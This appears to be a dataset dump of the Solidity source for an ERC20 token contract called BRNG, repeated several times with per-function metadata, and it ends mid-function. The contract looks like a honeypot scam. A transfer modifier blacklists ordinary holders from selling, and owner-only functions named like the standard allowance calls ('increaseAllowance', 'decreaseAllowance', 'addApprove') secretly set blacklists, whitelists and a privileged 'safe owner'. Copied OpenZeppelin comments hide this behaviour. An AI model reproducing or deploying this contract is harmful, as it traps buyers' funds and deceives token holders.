_approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 1673, 1765 ] }
14,107
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 2398, 2486 ] }
14,108
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 2546, 2651 ] }
14,109
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != 